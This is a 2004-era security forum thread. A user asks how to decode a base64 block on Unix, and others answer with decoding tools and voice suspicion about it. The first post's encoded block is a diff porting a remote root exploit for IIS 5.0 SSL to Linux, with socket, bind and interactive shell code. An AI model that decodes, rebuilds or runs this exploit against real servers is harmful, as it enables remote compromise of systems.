Base64 convertion
Page 1 of 2 12 LastLast
Results 1 to 10 of 12

Thread: Base64 convertion

  1. #1
    Member
    Join Date
    Oct 2002
    Posts
    36

    Base64 convertion

    guys ......... how can i convert this in to "readable" file

    in *nix environment

    begin-base64 644 patch.diff
    LS0tIFRIQ0lJU1NMYW1lLmMJU2F0IEFwciAyNCAwMDowMDowMCAyMDA0Cisr
    KyBUSENJSVNTTGFtZS1saW4uYwlTYXQgQXByIDI0IDAwOjAwOjAwIDIwMDQK
    QEAgLTE3LDkgKzE3LDEzIEBACiAjaW5jbHVkZSA8c3RkaW8uaD4KICNpbmNs
    dWRlIDxzdGRsaWIuaD4KICNpbmNsdWRlIDxzdHJpbmcuaD4KLSNpbmNsdWRl
    IDx3aW5zb2NrMi5oPgorI2luY2x1ZGUgPHN5cy90eXBlcy5oPgorI2luY2x1
    ZGUgPHN5cy9zb2NrZXQuaD4KKyNpbmNsdWRlIDxuZXRpbmV0L2luLmg+Cisj
    aW5jbHVkZSA8dW5pc3RkLmg+CisjaW5jbHVkZSA8bmV0ZGIuaD4KKyNpbmNs
    dWRlIDxlcnJuby5oPiAKIAotI3ByYWdtYSBjb21tZW50KGxpYiwgIndzMl8z
    Mi5saWIiKQogCiAjZGVmaW5lIGp1bXBlciAgICAiXHhlYlx4MGYiCiAjZGVm
    aW5lIGdyZWV0aW5nc190b19taWNyb3NvZnQgIlx4NTRceDQ4XHg0M1x4NGZc
    eDU3XHg0ZVx4NWFceDQ5XHg0OVx4NTNceDIxIgpAQCAtNjMsMTEgKzY3LDEy
    IEBACiAKICAgc3RydWN0IHNvY2thZGRyX2luIG15dGNwOwogICBzdHJ1Y3Qg
    aG9zdGVudCAqIGhwOwotICBXU0FEQVRBIHdzYURhdGE7Ci0KKyAgdW5zaWdu
    ZWQgaW50IHNvY2tvcHQ7CisgIAogICBwcmludGYoIlxuVEhDSUlTU0xhbWUg
    djAuMiAtIElJUyA1LjAgU1NMIHJlbW90ZSByb290IGV4cGxvaXRcbiIpOwog
    ICBwcmludGYoInRlc3RlZCBvbiBXaW5kb3dzIDIwMDAgU2VydmVyIGdlcm1h
    bi9lbmdsaXNoIFNQNFxuIik7CiAgIHByaW50ZigiYnkgSm9obm55IEN5YmVy
    cHVuayAoamN5YmVycHVua0B0aGMub3JnKVxuIik7CisgIHByaW50ZigicG9y
    dGVkIHRvIExpbnV4IGJ5IHIwMHQgKHJvb3RAbG9jYWxob3N0KVxuIik7CiAK
    ICAgaWYoYXJnYzw0IHx8IGFyZ2M+NCkKICAgIHVzYWdlKCk7CkBAIC05Nywx
    MiArMTAyLDYgQEAKIAogICBzdHJjYXQocCxzaGVsbGNvZGUpOwogICAKLSAg
    aWYgKFdTQVN0YXJ0dXAoTUFLRVdPUkQoMiwxKSwmd3NhRGF0YSkgIT0gMCkK
    LSAgewotICAgcHJpbnRmKCJXU0FTdGFydHVwIGZhaWxlZCAhXG4iKTsKLSAg
    IGV4aXQoLTEpOwotICB9Ci0gIAogICBocCA9IGdldGhvc3RieW5hbWUoYXJn
    dlsxXSk7CiAKICAgaWYgKCFocCl7CkBAIC0xNDAsMTcgKzEzOSwxOSBAQAog
    ICB7CiAgICAgICBzZW5kKHNvY2ssYmFkYnVmLDMyNiwwKTsKICAgICAgIHBy
    aW50ZigiWypdIGV4cGxvaXQgc2VuZFxuIik7Ci0gICAgICBTbGVlcCg1MDAp
    OworICAgICAgc2xlZXAoMSk7CiAgIAogICAgICAgbXl0Y3Auc2luX2FkZHIu
    c19hZGRyID0gMDsKICAgICAgIG15dGNwLnNpbl9wb3J0PWh0b25zKCh1bnNp
    Z25lZCBzaG9ydClhdG9pKGFyZ3ZbM10pKTsKIAogICAgICAgc29jazI9c29j
    a2V0KEFGX0lORVQsU09DS19TVFJFQU0sSVBQUk9UT19UQ1ApOworICAgICAg
    c29ja29wdCA9IDE7CisgICAgICBzZXRzb2Nrb3B0KHNvY2syLCBTT0xfU09D
    S0VULCBTT19SRVVTRUFERFIsICZzb2Nrb3B0LCBzaXplb2Yoc29ja29wdCkp
    OyAKICAgICAgIAogICAgICAgcmM9YmluZChzb2NrMiwoc3RydWN0IHNvY2th
    ZGRyICopJm15dGNwLDE2KTsKICAgICAgIGlmKHJjIT0wKQogICAgICAgewot
    ICAgICAgIHByaW50ZigiYmluZCBlcnJvcigpICVkXG4iLFdTQUdldExhc3RF
    cnJvcigpKTsKKyAgICAgICBwcmludGYoImJpbmQgZXJyb3IoKVxuIik7CiAg
    ICAgICAgZXhpdCgtMSk7CiAgICAgICB9CiAgICAKQEAgLTE3NywxMSArMTc4
    LDExIEBACiAgIH0KICAgCiAgIHNodXRkb3duKHNvY2ssMSk7Ci0gIGNsb3Nl
    c29ja2V0KHNvY2spOworICBjbG9zZShzb2NrKTsKICAgc2h1dGRvd24oc29j
    aywyKTsKLSAgY2xvc2Vzb2NrZXQoc29jazIpOworICBjbG9zZShzb2NrMik7
    CiAgIHNodXRkb3duKHNvY2ssMyk7Ci0gIGNsb3Nlc29ja2V0KHNvY2szKTsK
    KyAgY2xvc2Uoc29jazMpOwogCiAgIGZyZWUoYmFkYnVmKTsKIApAQCAtMTk4
    LDQ5ICsxOTksNTEgQEAKIAogdm9pZCBzaGVsbChpbnQgc29jaykKIHsKLSBp
    bnQgbDsKLSBjaGFyIGJ1ZlsxMDI0XTsKLSBzdHJ1Y3QgdGltZXZhbCB0aW1l
    OwotIHVuc2lnbmVkIGxvbmcgdWxbMl07Ci0KLSB0aW1lLnR2X3NlYyA9IDE7
    Ci0gdGltZS50dl91c2VjID0gMDsKLQotIHdoaWxlICgxKQotIHsKLSAgdWxb
    MF0gPSAxOwotICB1bFsxXSA9IHNvY2s7Ci0KLSAgbCA9IHNlbGVjdCAoMCwg
    KGZkX3NldCAqKSZ1bCwgTlVMTCwgTlVMTCwgJnRpbWUpOwotICBpZihsID09
    IDEpCi0gIHsgIAkKLSAgIGwgPSByZWN2IChzb2NrLCBidWYsIHNpemVvZiAo
    YnVmKSwgMCk7Ci0gICBpZiAobCA8PSAwKQotICAgewotICAgIHByaW50ZiAo
    ImJ5ZSBieWUuLi5cbiIpOwotICAgIHJldHVybjsKLSAgIH0KLSAgbCA9IHdy
    aXRlICgxLCBidWYsIGwpOwotICAgaWYgKGwgPD0gMCkKLSAgIHsKLSAgICBw
    cmludGYgKCJieWUgYnllLi4uXG4iKTsKLSAgICByZXR1cm47Ci0gICB9Cisg
    ZmRfc2V0ICBmZF9yZWFkOworIGNoYXIgYnVmZlsxMDI0XTsKKyBpbnQgbjsK
    KyAKKyB3aGlsZSgxKSB7CisgIEZEX1NFVChzb2NrLCZmZF9yZWFkKTsKKyAg
    RkRfU0VUKDAsJmZkX3JlYWQpOworIAorICBpZihzZWxlY3Qoc29jaysxLCZm
    ZF9yZWFkLE5VTEwsTlVMTCxOVUxMKTwwKSBicmVhazsKKyAKKyAgaWYoIEZE
    X0lTU0VUKHNvY2ssICZmZF9yZWFkKSApIHsKKyAgIG49cmVhZChzb2NrLGJ1
    ZmYsc2l6ZW9mKGJ1ZmYpKTsKKyAgICBpZihuPT0wKQorICAgIHsKKyAgICAg
    IAlwcmludGYoIlxuXG5bKl0gcmVtb3RlIGhvc3QgY2xvc2VkIGNvbm5lY3Rp
    b25cblxuIik7CisgICAgICAJcmV0dXJuOworICAgIH0KKyAgICBlbHNlIGlm
    IChuPDApCisgICAgeworICAgICAgCXByaW50ZigiXG5cblsqXSBlcnJvciBy
    ZWFkaW5nIGRhdGFcblxuIik7CisgICAgICAJcmV0dXJuOyAgICAgCQorICAg
    IH0gICAKKyAgICB3cml0ZSgxLGJ1ZmYsbik7CiAgIH0KLSAgZWxzZQotICB7
    Ci0gICBsID0gcmVhZCAoMCwgYnVmLCBzaXplb2YgKGJ1ZikpOwotICAgaWYg
    KGwgPD0gMCkKLSAgIHsKLSAgICBwcmludGYoImJ5ZSBieWUuLi5cbiIpOwot
    ICAgIHJldHVybjsKLSAgIH0KLSAgIGwgPSBzZW5kKHNvY2ssIGJ1ZiwgbCwg
    MCk7Ci0gICBpZiAobCA8PSAwKQotICAgewotICAgIHByaW50ZigiYnllIGJ5
    ZS4uLlxuIik7Ci0gICAgcmV0dXJuOwotICAgfQorIAorICBpZiAoIEZEX0lT
    U0VUKDAsICZmZF9yZWFkKSApIHsKKyAgICBuPXJlYWQoMCxidWZmLHNpemVv
    ZihidWZmKSk7CisgICAgaWYoc3RybmNtcChidWZmLCJleGl0Iiw0KT09MCkg
    eworICAgICAgIHByaW50ZigiXG5cblsqXSBjb25uZWN0aW9uIGNsb3NlZFxu
    XG4iKTsKKyAgICAgICBzaHV0ZG93bihzb2NrLDMpOworICAgICAgIHJldHVy
    bjsKKyAgICB9CisgICAgaWYobj09MCkKKyAgICB7CisgICAgICAJcHJpbnRm
    KCJcblxuWypdIHJlbW90ZSBob3N0IGNsb3NlZCBjb25uZWN0aW9uXG5cbiIp
    OworICAgICAgCXJldHVybjsKKyAgICB9CisgICAgZWxzZSBpZiAobjwwKQor
    ICAgIHsKKyAgICAgIAlwcmludGYoIlxuXG5bKl0gZXJyb3Igc2VuZGluZyBk
    YXRhXG5cbiIpOworICAgICAgCXJldHVybjsgICAgIAkKKyAgICB9CisgICAg
    d3JpdGUoc29jayxidWZmLG4pOwogICB9CiAgfQorIGNsb3NlKHNvY2spOyAK
    IH0KKyAK
    ====

  2. #2
    Banned
    Join Date
    Apr 2004
    Posts
    843
    Well you could have atleast un-encoded it so that its a bit more understandable first off.

  3. #3
    Senior Member
    Join Date
    Jul 2003
    Posts
    634
    If you search on google for base64 to ascii then there quite a few hits.

    http://email.about.com/cs/standards/...4_encoding.htm

    hope that helps

    i2c

  4. #4
    Senior Member
    Join Date
    Jul 2003
    Posts
    634
    TheSpecialist :

    whats the point of the bit of C? its just some sockets to sent an exploit...Its got nothing to do with converting to base64, at least I couldnt see it....

    its for IIS 5.0 SSL remote root exploit, dont quite get why you sent it, other than to trick someone into using it...

    i2c

    for the orginal poster, you might find this really useful, http://www.die.net/doc/linux/man/man1/base64.1.html

    ive never used it but i think it should do what you want

  5. #5
    Banned
    Join Date
    Apr 2004
    Posts
    843
    No... thats not my style. First off its not mine. It has source comments, it doesn't contain stuff named after comic book characters & actors, and its easier to fallow along than my stuff. If I wanted a laugh or two then I'd just make another VB or Pascal program and watch peaple thank me for something that im surprised even works at all to begin with.

    Actually my attachment is exactly what he posted up only un-encoded incase you didn't notice. But then agian now that you said something... this thread is so vague as to WTF he really wants that I myself can no longer see whats happening here. I mean sure the thread title said "base64 convertion" but then the rest apparently moves on towards how to compile and run the encoded code or something.

    No offense or anything but... from the looks of things I'd say he asked some IRC buddie to give him exploits and in exchange that person sent him on a goose chase. Sending peaple on a goose chase now that sounds like something I'd do but its not me this time.

  6. #6
    The Doctor Und3ertak3r's Avatar
    Join Date
    Apr 2002
    Posts
    2,744
    how can i
    Was the Question.....

    And I would have been a bastard and said www.google.com and provided a link thus

    http://www.google.com.au/search?hl=e...G=Search&meta=
    http://www.google.com.au/search?sour...F-8&q=uuencode

    Now TheSpecialist you were too kind and did the job for him.. It isn't your fault that who ever sent the file to karavay was a ***** or that karavay is playing with such toys..

    the Idea here is for us to learn.. and the first thing to learn is RTFM.. and then learn how to use Google. (Or what ever your fav search engine is)..
    then how to sift through that information..
    Then after that to be able to ask intelligent questions..
    So why was the file provided in the first place? Help us discover what the correct program is to decode? This is my suspicion..

    i think we have covered the inital question..

    Now we wait further enlightenment..


    cheers
    "Consumer technology now exceeds the average persons ability to comprehend how to use it..give up hope of them being able to understand how it works." - Me http://www.cybercrypt.co.nr

  7. #7
    Senior Member
    Join Date
    Jul 2003
    Posts
    634
    TheSpecialist:

    Sorry mate didnt realise u'd unencoded it for him.

    i2c

  8. #8
    Member
    Join Date
    Oct 2002
    Posts
    36
    guys...what you have made form my post........is it an exploit the answer is yes
    is an example on which I wanna learn how to convert base64 to readable (compile-able )c file the answer is yes... do I use IRC at all the answer is NO!

    I could use any other base64 file as an example but the point is that this is a securioty forum after all

  9. #9
    Member
    Join Date
    Oct 2002
    Posts
    36
    i2c ....do u want me to post a half dozen links which lead to the exploit code (3 versions of it + 1 unpublished)!

    **** guys the question was how to uudecode ... it not laming me!!!!

    theres no problem converting it by using perl ::mod or in windows env ..the question was ho to convert in linux environment!


  10. #10
    Just Another Geek
    Join Date
    Jul 2002
    Location
    Rotterdam, Netherlands
    Posts
    3,403
    Originally posted here by karavay
    **** guys the question was how to uudecode ... it not laming me!!!!
    man uuencode
    Oliver's Law:
    Experience is something you don't get until just after you need it.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

 Security News

     Patches

       Security Trends

         How-To

           Buying Guides